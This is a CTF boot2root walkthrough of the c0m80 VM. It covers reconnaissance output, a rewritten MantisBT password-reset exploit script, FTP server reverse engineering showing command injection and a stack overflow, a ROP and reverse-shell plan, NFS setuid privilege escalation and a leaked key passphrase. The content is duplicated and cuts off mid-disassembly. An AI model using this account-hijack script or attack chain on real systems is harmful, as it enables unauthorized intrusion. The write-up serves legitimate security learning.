I saw this boot2root pop on twitter and it was rated as a difficult one and
it didn't have any walkthrough or solves apparently, so it picked my interest.
The pre-requisites for any readers would be to know about pentesting in general,
networking, basic web hacking tricks, exploitation and some various tricks.
We'll begin by describing the reconnaissance process, exploit development and
end up with privilege escalation.
For reconnaissance, our first tool of choice will be nmap and depending on
the discovered services we will run the appropriate tools.
For nmap scans, it is usually better to proceed in a staged fashion.
Scan the top 100, top 1000 and then all ports depending on what you find while
poking available services.
Some manual testing will allow us to pinpoint software versions
we have on our target and thus know of the exploitable vulnerabilities
it may have.
The first nmap scan
Our first scan will be a top 1000 syn scan with scripting and OS fingerprinting.
The first scan yields quite a bit of information:
- We got a HTTP server, there can a big surface attack to explore
- Samba 4.3.11-Ubuntu : This is the fix to CVE-2017-7494 for Ubuntu 14.04 or Ubuntu 16.04
- We got a NFS share, this can yield interesting access or information if this is misconfigured.
This is mostly configured on Linux.
The second scan yields an interesting port : 20021.
It seems there is a custom FTP server to exploit.
Just knowing that these services are running we can hypothesize about software
running on the machine : Linux, Samba and probably WINE.
Samba 4.3.11-Ubuntu is apparently running on the machine so the probable OS is
Ubuntu 14.04 or Ubuntu 16.04.
The CVE-2017-7494 is fixed so this is not our way in, that's one of
the vulnerabilities (with EternalBlue) to think about when we see
port 445 opened nowadays.
We got the probable OS version from that alone, we'll verify it with more poking.
SMB is the network protocol that Windows machines use in order to communicate
among themselves. This was re-implemented for Linux under the Samba free project.
This service can yield information about the OS, shares and users depending if
NULL sessions are allowed or you got credentials.
enum4linux will be used to do the job.
The information we are able to grab from that scan:
- OS : Ubuntu 14.04 or Ubuntu 16.04
- users : b0b and al1ce
- no available shares
This service can yield access to files or code execution or privilege escalation
depending on what we can write/overwrite or read.
We first look if it exports shares.
It does export a share that is accessible to anyone and we probably also have
RW permissions.
We mount it and explore the share.
That ftp104.bkp is a hexdump of a binary we'll have to exploit, this will be
detailed in a later section.
Using DirBuster we find several pages and directories that yield more information
about our target.
Directories:
- bin/
- dev/
- bugs/ : Leads to MantisBT app, this is a bugtracker
Pages:
- bugs/admin/check/ : Leaks MySQL version = 5.5.57
- dev/info.php : Sorry to disappoint but this is pretty much fake (we know it's a Linux box)
- bugs/admin/check/index.php?show_all=1&show_errors=0
This is accessible without authentication and we get versions :
PHP 5.5.9-1ubuntu4.22, MySQL 5.5.57 and AdoDB 5.20.9.
We can infere that our OS version is thus Ubuntu 14.04 and that the security
patch level is around August.
The "bugs/" path leads to an app named MantisBT, it is a bugtracker.
When trying to log on, we'll be welcomed with a nice message:
If you do not yet have an account, please use [guest:guest] to view the bugtracker.
As a guest user, there isn't much to see but "find a vuln" message.
We need to pinpoint the exact MantisBT version if we are to find
an exploitable vulnerability or wish to develop an 0day.
Going through the HTML source we find these interesting imports:
Going through the available files on sourceforge, we end up finding our MantisBT version : 2.x.0.
At the end of the reconnaissance phase we managed to gather a precise enough
view of the software running on our target:
Software:
OS : Ubuntu 14.04 LTS
MantisBT : 2.x.y
MySQL : 5.5.57
Samba : 4.3.11
ADOdb : 5.20.9
PHP : 5.5.9-1ubuntu4.22
WINE : August
Services : HTTP, NFS, Custom FTP server
This will help tremendously while trying to hack our target further.
The latest publicly available exploit found for MantisBT 2.x.y :
- https://www.exploit-db.com/exploits/41890/ .
It allows an attacker to change the password of a user.
I ended up rewriting the exploit as it didn't tell me if the exploit
was successful or failed.
We find out 2 interesting tickets:
Issue : http://192.168.56.101/bugs/view.php?id=6
Leaks : http://c0m80.ctf/bin/npp.zip
The npp.zip is a red herring, there isn't anything there to see but pictures.
Issue : http://192.168.56.101/bugs/view.php?id=1
Leaks : http://192.168.56.101/dev/ftp104.bkp and there is a BOF (Buffer OverFlow)
This .bkp file contains a binary in hexdump format.
We can rebuild our binary by using xxd or a custom script.
When we rebuild the binary from the hexdump (the ftp104.bkp file),
we get a PE binary. The PE executable format is mainly used on Windows,
here we know that we got a Linux distribution so chances are that
this executable is running under WINE.
WINE is a re-implementation of the Windows API by using the Posix API,
this allows to run Windows apps on compatible Unixes.
When running our binary with WINE, we get an error about needing "bfsvrdll.dll".
Let's check if there is anything else in there with binwalk.
There are in fact 2 binaries.
Now our binary runs properly.
Let's hunt for vulnerabilities in that binary.
I decided to use reverse engineering rather than fuzzing to find vulnerabilities
as the binary is small.
We know it's a FTP server so vulnerabilities will be located in one of the
command handlers in the dispatch switch case.
I ended up finding 2 remotely exploitable vulnerabilities.
1 command injection and 1 buffer overflow.
Reading the basic block located at 0x4021F5, we can see there is
a command injection vulnerability as it's constructing a command as follow:
explorer [url]
The command injection is unfortunately not exploitable on the target VM
but it is exploitable on a lab box though.
The vulnerability is triggered by sending a string in the following form:
- http:[some_url] && [cmd]
- https:[some_url] && [cmd]
The buffer overflow on the other hand is quite exploitable.
First the handler get triggered when we send "cd [cmd]".
Then the vulnerable function is triggered if there is a '.' in
the "[cmd]" string.
The vulnerable function calls strcpy() !!!
A classic textbook stack based buffer overflow.
Exploitation of both vulnerabilities will be detailed.
The difficulty of exploitation resides in the limited available size for
our payload.
Since apparently NX is enabled, options are even more limited.
The ftp_buffer is 0x1000 bytes and there are no characters restrictions since
the FTP server uses recv(). The only restriction is not to have any '\x00' in our
buffer as it would truncate our copy in the vuln_function().
The vulnerable handler copies at most 0x64 bytes = 100 bytes in its tmp_buf,
our vuln_function() buffer is 0x2e = 46 bytes. So SEBP and SEIP will be
overwritten respectly at offset 42 and 46 of tmp_buf. We thus have around 50
bytes for our ROP payload, or space for roughly 12 values/pointers.
12 values/pointers ... that indeed restrict our options by quite a bit.
Given the right gadgets this limitation can be bypassed to have arbitrary
code execution.
By chance, there is no ASLR for the .exe and .dll used. I didn't find any infoleak vulnerability
so if ASLR were to be in play, it probably wouldn't be exploitable.
Luckily for us, we find the necessary gadgets for our exploitation to proceed.
The gadget I was looking for was a 'mov dword ptr [register], value' patch kind.
I ended up finding 'add dword ptr [ebx + 0x5e5b30c4], eax ; pop edi ; ret',
this does the job. The only pre-requisites are to know memory state when the
gadget execute and no '\x00' when setting ebx value.
The core of my exploit resides in the following routine:
This allows us to write 4 bytes at an arbitrary location (provided the target
address doesn't have any NULL bytes).
For each client that connects, the FTP server creates a thread to handle it.
It is quite advantageous to us : we don't have to bother restoring ESP and/or
EBP, we just use ExitThread() and let WINE do the job for us.
At each connection we'll thus write only 4 bytes.
The exploit proceeds as follow:
- Write VirtualAlloc() ROP payload
- Run it to allocate memory
- Write system() ROP payload
- Run a command with system() (this can be removed since the rundll32 trick
doesn't work on the target VM even if it does in the lab)
- Copy shellcode to the earlier alloced memory
- Execute arbitrary shellcode
For the exploit to work, you need to change the shellcode as this was tailored
for my usage.
Another difficulty is finding which precise WINE version our target VM uses.
That's where the security patch (August) level helped.
I did the development on my Ubuntu 14.04 lab box.
Multiple WINE libs found here were tried : https://dl.winehq.org/wine-builds/ubuntu/pool/main/ .
You can find our target's VM one here : https://dl.winehq.org/wine-builds/ubuntu/pool/main/wine-stable-i386_2.0.2~trusty_i386.deb .
To make the exploit more reliable:
- support multiple WINE versions
- cleanup after the exploit : restore the memory state as it was before
exploitation
We configure our metasploit handler to get our reverse shell.
For privilege escalation, usual checks are made:
- processes running as root
- cronjobs
- suid binaries
- credentials
- misconfigured services
- trust relationships : probably get info somewhere else, come back and root
- kernel version
- etc
We got our way to escalate our privileges!
no_root_squash is a big no no for NFS configuration.
This allow users to upload setuid root binaries on the server through
that misconfigured share.
Looking at the folder, we get to see that the bkp folder is only readable by
members of the 'backup' group. Reading /etc/passwd yield al1ce as being a
member of that group.
We first need to login as al1ce before enjoying our root suid shell.
I went looking for that password manager and ended up finding a page:
/home/b0b/.wine/drive_c/users/b0b/Application Data/Mozilla/Extensions/PWMangr2.html
meterpreter> download '/home/b0b/.wine/drive_c/users/b0b/Application Data/Mozilla/Extensions/PWMangr2.html'
Opening that .html file on a browser, we can access the passwords by guessing
"alice".
Hints are quite a bad idea for logins. Most of the time than not, user have bad
password habits and their hints often give out their password or reduce the
search space tremendously.
We can find the password for b0b thanks to the hint, the password is : alice.
The password for al1ce is not valid for her account but for b0b's ssh private key.
If you've searched through al1ce home folder, you'd have seen that we can
connect to her account thanks to her .ssh/authorized_keys which includes bob's
public key.
The SSH service is only locally reachable.
To reach it from outside, we can use ncat as a port forwarder.
SSH in al1ce account using the exfiltrated bob's private key
and the key password (7M6Kt8tC8X5Qz99@Eeb8592Z$Fd@u286).
With al1ce account, we now have access to /ftpsvr/bkp/.
Using our NFS access, we upload a root setuid binary.
On our attacker's machine:
Now with al1ce account:
And that's it for that VM, we rooted it, we're god on it.
This VM was interesting on multiple levels:
- enumerate enumerate enumerate
- classic pentesting : nmap, enum4linux, showmount, etc
- exploit development
- multiple scripts had to be written
- it was not another VM with an easily exploitable RFI, LFI or SQLi
I hope you enjoyed the read,
Until next time,
m_101
it didn't have any walkthrough or solves apparently, so it picked my interest.
The pre-requisites for any readers would be to know about pentesting in general,
networking, basic web hacking tricks, exploitation and some various tricks.
We'll begin by describing the reconnaissance process, exploit development and
end up with privilege escalation.
Reconnaissance
For reconnaissance, our first tool of choice will be nmap and depending on
the discovered services we will run the appropriate tools.
For nmap scans, it is usually better to proceed in a staged fashion.
Scan the top 100, top 1000 and then all ports depending on what you find while
poking available services.
Some manual testing will allow us to pinpoint software versions
we have on our target and thus know of the exploitable vulnerabilities
it may have.
The first nmap scan
Our first scan will be a top 1000 syn scan with scripting and OS fingerprinting.
# Nmap 7.60 scan initiated Thu Oct 5 10:51:22 2017 as: nmap -sS -vvv -A -oA c0m80-tcp 192.168.56.101 Nmap scan report for 192.168.56.101 Host is up, received arp-response (0.00045s latency). Scanned at 2017-10-05 10:51:22 EDT for 17s Not shown: 995 closed ports Reason: 995 resets PORT STATE SERVICE REASON VERSION 80/tcp open http syn-ack ttl 64 Microsoft IIS httpd 6.0 |_http-favicon: Unknown favicon MD5: 00BB3873C7F0934968F69D8DDFBD0999 | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Microsoft-IIS/6.0 |_http-title: BestestSoftware Ltd. 111/tcp open rpcbind syn-ack ttl 64 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100003 2,3,4 2049/tcp nfs | 100003 2,3,4 2049/udp nfs | 100005 1,2,3 38672/tcp mountd | 100005 1,2,3 44511/udp mountd | 100021 1,3,4 51031/tcp nlockmgr | 100021 1,3,4 58158/udp nlockmgr | 100024 1 36355/udp status | 100024 1 57030/tcp status | 100227 2,3 2049/tcp nfs_acl |_ 100227 2,3 2049/udp nfs_acl 139/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 2049/tcp open nfs_acl syn-ack ttl 64 2-3 (RPC #100227) MAC Address: 08:00:27:63:32:5B (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.8 TCP/IP fingerprint: OS:SCAN(V=7.60%E=4%D=10/5%OT=80%CT=1%CU=43246%PV=Y%DS=1%DC=D%G=Y%M=080027%T OS:M=59D646FB%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=105%TI=Z%CI=I%TS=8 OS:)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5=M5B OS:4ST11NW7%O6=M5B4ST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120 OS:)ECN(R=Y%DF=Y%T=40%W=7210%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+ OS:%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=) OS:T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A OS:=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%D OS:F=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=4 OS:0%CD=S) Uptime guess: 0.007 days (since Thu Oct 5 10:41:58 2017) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=259 (Good luck!) IP ID Sequence Generation: All zeros Service Info: Host: C0M80; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: 1m22s, deviation: 0s, median: 1m22s | nbstat: NetBIOS name: C0M80, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown) | Names: | C0M80<00> Flags: <unique><active> | C0M80<03> Flags: <unique><active> | C0M80<20> Flags: <unique><active> | \x01\x02__MSBROWSE__\x02<01> Flags: <group><active> | WORKGROUP<00> Flags: <group><active> | WORKGROUP<1d> Flags: <unique><active> | WORKGROUP<1e> Flags: <group><active> | Statistics: | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |_ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | p2p-conficker: | Checking for Conficker.C or higher... | Check 1 (port 6870/tcp): CLEAN (Couldn't connect) | Check 2 (port 44492/tcp): CLEAN (Couldn't connect) | Check 3 (port 64862/udp): CLEAN (Failed to receive data) | Check 4 (port 34151/udp): CLEAN (Failed to receive data) |_ 0/4 checks are positive: Host is CLEAN or ports are blocked | smb-os-discovery: | OS: Windows 6.1 (Samba 4.3.11-Ubuntu) | Computer name: c0m80 | NetBIOS computer name: C0M80\x00 | Domain name: \x00 | FQDN: c0m80 |_ System time: 2017-10-05T15:53:02+01:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2017-10-05 10:53:02 |_ start_date: 1600-12-31 19:03:58 TRACEROUTE HOP RTT ADDRESS 1 0.45 ms 192.168.56.101 Read data files from: /usr/bin/../share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Thu Oct 5 10:51:39 2017 -- 1 IP address (1 host up) scanned in 17.13 seconds
The first scan yields quite a bit of information:
- We got a HTTP server, there can a big surface attack to explore
- Samba 4.3.11-Ubuntu : This is the fix to CVE-2017-7494 for Ubuntu 14.04 or Ubuntu 16.04
- We got a NFS share, this can yield interesting access or information if this is misconfigured.
This is mostly configured on Linux.
The second scan yields an interesting port : 20021.
It seems there is a custom FTP server to exploit.
Just knowing that these services are running we can hypothesize about software
running on the machine : Linux, Samba and probably WINE.
Samba 4.3.11-Ubuntu is apparently running on the machine so the probable OS is
Ubuntu 14.04 or Ubuntu 16.04.
The CVE-2017-7494 is fixed so this is not our way in, that's one of
the vulnerabilities (with EternalBlue) to think about when we see
port 445 opened nowadays.
We got the probable OS version from that alone, we'll verify it with more poking.
SMB
SMB is the network protocol that Windows machines use in order to communicate
among themselves. This was re-implemented for Linux under the Samba free project.
This service can yield information about the OS, shares and users depending if
NULL sessions are allowed or you got credentials.
enum4linux will be used to do the job.
$ enum4linux -a 192.168.56.101 [...] ========================== | Target Information | ========================== Target ........... 192.168.56.101 RID Range ........ 500-550,1000-1050 Username ......... '' Password ......... '' Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none ====================================================== | Enumerating Workgroup/Domain on 192.168.56.101 | ====================================================== [+] Got domain/workgroup name: WORKGROUP ============================================== | Nbtstat Information for 192.168.56.101 | ============================================== Looking up status of 192.168.56.101 C0M80 <00> - B <ACTIVE> Workstation Service C0M80 <03> - B <ACTIVE> Messenger Service C0M80 <20> - B <ACTIVE> File Server Service ..__MSBROWSE__. <01> - <GROUP> B <ACTIVE> Master Browser WORKGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name WORKGROUP <1d> - B <ACTIVE> Master Browser WORKGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections MAC Address = 00-00-00-00-00-00 ======================================= | Session Check on 192.168.56.101 | ======================================= [+] Server 192.168.56.101 allows sessions using username '', password '' ============================================= | Getting domain SID for 192.168.56.101 | ============================================= Domain Name: WORKGROUP Domain Sid: (NULL SID) [+] Can't determine if host is part of domain or part of a workgroup ======================================== | OS information on 192.168.56.101 | ======================================== [+] Got OS info for 192.168.56.101 from smbclient: [+] Got OS info for 192.168.56.101 from srvinfo: C0M80 Wk Sv PrQ Unx NT SNT C0m80 server (Samba, Ubuntu) platform_id : 500 os version : 6.1 server type : 0x809a03 [...] =========================================== | Share Enumeration on 192.168.56.101 | =========================================== WARNING: The "syslog" option is deprecated OS=[Windows 6.1] Server=[Samba 4.3.11-Ubuntu] OS=[Windows 6.1] Server=[Samba 4.3.11-Ubuntu] Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers IPC$ IPC IPC Service (C0m80 server (Samba, Ubuntu)) Server Comment --------- ------- Workgroup Master --------- ------- WORKGROUP C0M80 [+] Attempting to map shares on 192.168.56.101 //192.168.56.101/print$ Mapping: DENIED, Listing: N/A //192.168.56.101/IPC$ Mapping: OK Listing: DENIED [...] ========================================================================= | Users on 192.168.56.101 via RID cycling (RIDS: 500-550,1000-1050) | ========================================================================= [+] Enumerating users using SID S-1-22-1 and logon username '', password '' S-1-22-1-1000 Unix User\b0b (Local User) S-1-22-1-1001 Unix User\al1ce (Local User) [...]
The information we are able to grab from that scan:
- OS : Ubuntu 14.04 or Ubuntu 16.04
- users : b0b and al1ce
- no available shares
NFS
This service can yield access to files or code execution or privilege escalation
depending on what we can write/overwrite or read.
We first look if it exports shares.
root@kali:~/c0m80# showmount -e 192.168.56.101 Export list for 192.168.56.101: /ftpsvr/bkp *
It does export a share that is accessible to anyone and we probably also have
RW permissions.
We mount it and explore the share.
root@kali:~/c0m80# mkdir bkp root@kali:~/c0m80# mount 192.168.56.101:/ftpsvr/bkp bkp/ root@kali:~/c0m80# ls -lash bkp/ total 2.7M 4.0K drwxrwx--- 2 root backup 4.0K Sep 22 21:37 . 4.0K drwxr-xr-x 3 root root 4.0K Oct 5 13:55 .. 2.7M -rw-r--r-- 1 backup backup 2.7M Oct 5 2017 ftp104.bkp
That ftp104.bkp is a hexdump of a binary we'll have to exploit, this will be
detailed in a later section.
HTTP
Using DirBuster we find several pages and directories that yield more information
about our target.
Directories:
- bin/
- dev/
- bugs/ : Leads to MantisBT app, this is a bugtracker
Pages:
- bugs/admin/check/ : Leaks MySQL version = 5.5.57
- dev/info.php : Sorry to disappoint but this is pretty much fake (we know it's a Linux box)
- bugs/admin/check/index.php?show_all=1&show_errors=0
This is accessible without authentication and we get versions :
PHP 5.5.9-1ubuntu4.22, MySQL 5.5.57 and AdoDB 5.20.9.
We can infere that our OS version is thus Ubuntu 14.04 and that the security
patch level is around August.
The "bugs/" path leads to an app named MantisBT, it is a bugtracker.
When trying to log on, we'll be welcomed with a nice message:
If you do not yet have an account, please use [guest:guest] to view the bugtracker.
As a guest user, there isn't much to see but "find a vuln" message.
We need to pinpoint the exact MantisBT version if we are to find
an exploitable vulnerability or wish to develop an 0day.
Going through the HTML source we find these interesting imports:
<link rel="stylesheet" type="text/css" href="http://192.168.56.104/bugs/css/default.css" /> <link rel="stylesheet" type="text/css" href="http://192.168.56.104/bugs/css/common_config.php" /> <link rel="stylesheet" type="text/css" href="http://192.168.56.104/bugs/css/status_config.php" /> <link rel="stylesheet" type="text/css" href="http://192.168.56.104/bugs/css/dropzone-4.3.0.min.css" /> <link rel="stylesheet" type="text/css" href="http://192.168.56.104/bugs/css/bootstrap-3.3.6.min.css" /> <link rel="stylesheet" type="text/css" href="http://192.168.56.104/bugs/css/font-awesome-4.6.3.min.css" /> <link rel="stylesheet" type="text/css" href="http://192.168.56.104/bugs/css/open-sans.css" /> <link rel="stylesheet" type="text/css" href="http://192.168.56.104/bugs/css/bootstrap-datetimepicker-4.17.43.min.css" /> <link rel="stylesheet" type="text/css" href="http://192.168.56.104/bugs/css/ace.min.css" /> <link rel="stylesheet" type="text/css" href="http://192.168.56.104/bugs/css/ace-mantis.css" />
Going through the available files on sourceforge, we end up finding our MantisBT version : 2.x.0.
At the end of the reconnaissance phase we managed to gather a precise enough
view of the software running on our target:
Software:
OS : Ubuntu 14.04 LTS
MantisBT : 2.x.y
MySQL : 5.5.57
Samba : 4.3.11
ADOdb : 5.20.9
PHP : 5.5.9-1ubuntu4.22
WINE : August
Services : HTTP, NFS, Custom FTP server
This will help tremendously while trying to hack our target further.
Gaining access to MantisBT
The latest publicly available exploit found for MantisBT 2.x.y :
- https://www.exploit-db.com/exploits/41890/ .
It allows an attacker to change the password of a user.
I ended up rewriting the exploit as it didn't tell me if the exploit
was successful or failed.
#!/usr/bin/python2 ''' Original exploit : https://www.exploit-db.com/exploits/41890/ Rewritten as it couldn't differentiate between successful and failed exploitation. m_101 ''' import sys import requests from bs4 import BeautifulSoup if len (sys.argv) != 4: print 'Usage: %s target_ip user_id new_pass' % sys.argv[0] exit (1) (progname, target_ip, user_id, new_pass) = sys.argv mysession = requests.session () # exploit the vuln url = 'http://%s/bugs/verify.php?id=%s&confirm_hash=' % (target_ip, user_id) response = mysession.get (url) # do the parsing soup = BeautifulSoup (response.content, 'html.parser') # get CSRF token and realname account_update_token = None realname = None for tag in soup.find_all ('input'): if account_update_token == None and tag.get ('name') == 'account_update_token': account_update_token = tag.get ('value') if realname == None and tag.get ('name') == 'realname': realname = tag.get ('value') if account_update_token == None or realname == None: print '[-] Failed getting account update token or realname' exit (1) # now update the user password form = { 'verify_user_id' : user_id, 'account_update_token' : account_update_token, 'realname' : realname, 'password' : new_pass, 'password_confirm' : new_pass } url = 'http://%s/bugs/account_update.php' % target_ip response = mysession.post (url, data = form) success = False for line in response.content.split ('\n'): if 'Operation successful.' in line: success = True break print 'realname : %s' % realname print 'token : %s' % account_update_token if success: print '[+] Successfully hijacked account' print ' new password : %s' % new_pass else: print '[-] Exploit failed'
We find out 2 interesting tickets:
Issue : http://192.168.56.101/bugs/view.php?id=6
Leaks : http://c0m80.ctf/bin/npp.zip
The npp.zip is a red herring, there isn't anything there to see but pictures.
Issue : http://192.168.56.101/bugs/view.php?id=1
Leaks : http://192.168.56.101/dev/ftp104.bkp and there is a BOF (Buffer OverFlow)
This .bkp file contains a binary in hexdump format.
Rebuilding our binary
We can rebuild our binary by using xxd or a custom script.
#!/usr/bin/python2 ''' desc : This rebuild the .txt dump to a .bin ''' import sys import re import string if len (sys.argv) != 3: print 'Usage: %s bkp exe' % sys.argv[0] exit (1) (progname, bkp, exe) = sys.argv def is_valid_hex (hex_str): if len (hex_str) != 4: return False for c in hex_str: if c not in string.hexdigits: return False return True fp = open (bkp) content = '' for idx, line in enumerate (fp.readlines ()): line = re.sub (' +', ' ', line) fields = line.split (' ') for field in fields: if is_valid_hex (field): content += field.decode ('hex') fp.close () fp_out = open (exe, 'wb') fp_out.write (content) fp_out.close ()
When we rebuild the binary from the hexdump (the ftp104.bkp file),
we get a PE binary. The PE executable format is mainly used on Windows,
here we know that we got a Linux distribution so chances are that
this executable is running under WINE.
WINE is a re-implementation of the Windows API by using the Posix API,
this allows to run Windows apps on compatible Unixes.
When running our binary with WINE, we get an error about needing "bfsvrdll.dll".
Let's check if there is anything else in there with binwalk.
$ binwalk ftp104.bin DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 Microsoft executable, portable (PE) 328240 0x50230 Unix path: /debian/tmp/usr/i686-w64-mingw32/include/psdk_inc 329269 0x50635 Unix path: /debian/tmp/usr/i686-w64-mingw32/include 335092 0x51CF4 Unix path: /debian/tmp/usr/i686-w64-mingw32/include 337137 0x524F1 Unix path: /debian/tmp/usr/i686-w64-mingw32/include/psdk_inc 379576 0x5CAB8 Microsoft executable, portable (PE) 621288 0x97AE8 Unix path: /debian/tmp/usr/i686-w64-mingw32/include/psdk_inc 622223 0x97E8F Unix path: /debian/tmp/usr/i686-w64-mingw32/include 626096 0x98DB0 Unix path: /debian/tmp/usr/i686-w64-mingw32/include 627522 0x99342 Unix path: /debian/tmp/usr/i686-w64-mingw32/include
There are in fact 2 binaries.
$ dd if=ftp104.bin of=ftp.exe bs=1 count=379576 379576+0 records in 379576+0 records out 379576 bytes (380 kB, 371 KiB) copied, 0.413207 s, 919 kB/s $ file ftp.exe ftp.exe: PE32 executable (console) Intel 80386, for MS Windows $ dd if=ftp104.bin of=bfsvrdll.dll bs=1 skip=379576 278766+0 records in 278766+0 records out 278766 bytes (279 kB, 272 KiB) copied, 0.287341 s, 970 kB/s $ file bsvrdll.dll bfsvrdll.dll: PE32 executable (DLL) (console) Intel 80386, for MS Windows
Now our binary runs properly.
Let's hunt for vulnerabilities in that binary.
I decided to use reverse engineering rather than fuzzing to find vulnerabilities
as the binary is small.
Reverse Engineering
We know it's a FTP server so vulnerabilities will be located in one of the
command handlers in the dispatch switch case.
I ended up finding 2 remotely exploitable vulnerabilities.
1 command injection and 1 buffer overflow.
Reading the basic block located at 0x4021F5, we can see there is
a command injection vulnerability as it's constructing a command as follow:
explorer [url]
The command injection is unfortunately not exploitable on the target VM
but it is exploitable on a lab box though.
The vulnerability is triggered by sending a string in the following form:
- http:[some_url] && [cmd]
- https:[some_url] && [cmd]
.text:004021B3 loc_4021B3: ; CODE XREF: _ConnectionHandler@4+687 j .text:004021B3 mov dword ptr [esp+8], 5 ; size_t .text:004021BB mov dword ptr [esp+4], offset aHttp ; "http:" .text:004021C3 mov eax, [ebp+cmd] .text:004021C6 mov [esp], eax ; char * .text:004021C9 call _strncmp .text:004021CE test eax, eax .text:004021D0 jz short cmd_injection .text:004021D2 mov dword ptr [esp+8], 6 ; size_t .text:004021DA mov dword ptr [esp+4], offset aHttps ; "https:" .text:004021E2 mov eax, [ebp+cmd] .text:004021E5 mov [esp], eax ; char * .text:004021E8 call _strncmp .text:004021ED test eax, eax .text:004021EF jnz loc_4022AD .text:004021F5 .text:004021F5 cmd_injection: ; CODE XREF: _ConnectionHandler@4+6FD j .text:004021F5 mov dword ptr [ebp+var_4F3], 52677542h .text:004021FF mov [ebp+var_4EF], 726F7065h .text:00402209 mov [ebp+var_4EB], 694C2074h .text:00402213 mov [ebp+var_4E7], 53206B6Eh .text:0040221D mov [ebp+var_4E3], 20746E65h .text:00402227 mov [ebp+var_4DF], 42206F74h .text:00402231 mov [ebp+var_4DB], 2E2E626Fh .text:0040223B mov [ebp+var_4D7], 74660A2Eh .text:00402245 mov [ebp+var_4D3], 3E70h .text:0040224F mov eax, [ebp+cmd] .text:00402252 mov [esp+4], eax ; char * .text:00402256 mov dword ptr [esp], offset aExplorer ; "explorer " .text:0040225D call _concat .text:00402262 mov [ebp+var_40], eax .text:00402265 mov eax, [ebp+var_40] .text:00402268 mov [esp], eax ; char * .text:0040226B call _system .text:00402270 mov eax, [ebp+var_40] .text:00402273 mov [esp], eax ; void * .text:00402276 call _free .text:0040227B mov dword ptr [esp+0Ch], 0 ; flags .text:00402283 mov dword ptr [esp+8], 24h ; len .text:0040228B lea eax, [ebp+var_4F3] .text:00402291 mov [esp+4], eax ; buf .text:00402295 mov eax, [ebp+sock] .text:00402298 mov [esp], eax ; s .text:0040229B mov eax, ds:__imp__send@16 .text:004022A0 call eax ; __imp__send@16 .text:004022A2 sub esp, 10h .text:004022A5 mov [ebp+var_1C], eax .text:004022A8 jmp loc_403A5A
The buffer overflow on the other hand is quite exploitable.
First the handler get triggered when we send "cd [cmd]".
Then the vulnerable function is triggered if there is a '.' in
the "[cmd]" string.
.text:004036D1 loc_4036D1: ; CODE XREF: _ConnectionHandler@4+1B61 j .text:004036D1 mov dword ptr [esp+8], 3 ; size_t .text:004036D9 mov dword ptr [esp+4], offset aCd ; "cd " .text:004036E1 mov eax, [ebp+cmd] .text:004036E4 mov [esp], eax ; char * .text:004036E7 call _strncmp .text:004036EC test eax, eax .text:004036EE jz short loc_403713 .text:004036F0 mov dword ptr [esp+8], 3 ; size_t .text:004036F8 mov dword ptr [esp+4], offset aCd_0 ; "CD " .text:00403700 mov eax, [ebp+cmd] .text:00403703 mov [esp], eax ; char * .text:00403706 call _strncmp .text:0040370B test eax, eax .text:0040370D jnz loc_403854 .text:00403713 .text:00403713 loc_403713: ; CODE XREF: _ConnectionHandler@4+1C1B j .text:00403713 mov dword ptr [esp], 64h ; size_t .text:0040371A call _malloc .text:0040371F mov [ebp+tmp_buf], eax .text:00403722 mov dword ptr [esp+8], 64h ; size_t .text:0040372A mov dword ptr [esp+4], 0 ; int .text:00403732 mov eax, [ebp+tmp_buf] .text:00403735 mov [esp], eax ; void * .text:00403738 call _memset .text:0040373D mov dword ptr [ebp+var_4F3], 20303532h .text:00403747 mov [ebp+var_4EF], 'eriD' .text:00403751 mov [ebp+var_4EB], 'rotc' .text:0040375B mov [ebp+var_4E7], 'us y' .text:00403765 mov [ebp+var_4E3], 'secc' .text:0040376F mov [ebp+var_4DF], 'lufs' .text:00403779 mov [ebp+var_4DB], 'c yl' .text:00403783 mov [ebp+var_4D7], 'gnah' .text:0040378D mov [ebp+var_4D3], 220A6465h .text:00403797 mov [ebp+var_4CF], 660A222Fh .text:004037A1 mov [ebp+var_4CB], 3E7074h .text:004037AB lea eax, [ebp+var_4C7] .text:004037B1 mov ecx, 0CFh .text:004037B6 mov ebx, 0 .text:004037BB mov [eax], ebx .text:004037BD mov [eax+ecx-4], ebx .text:004037C1 lea edx, 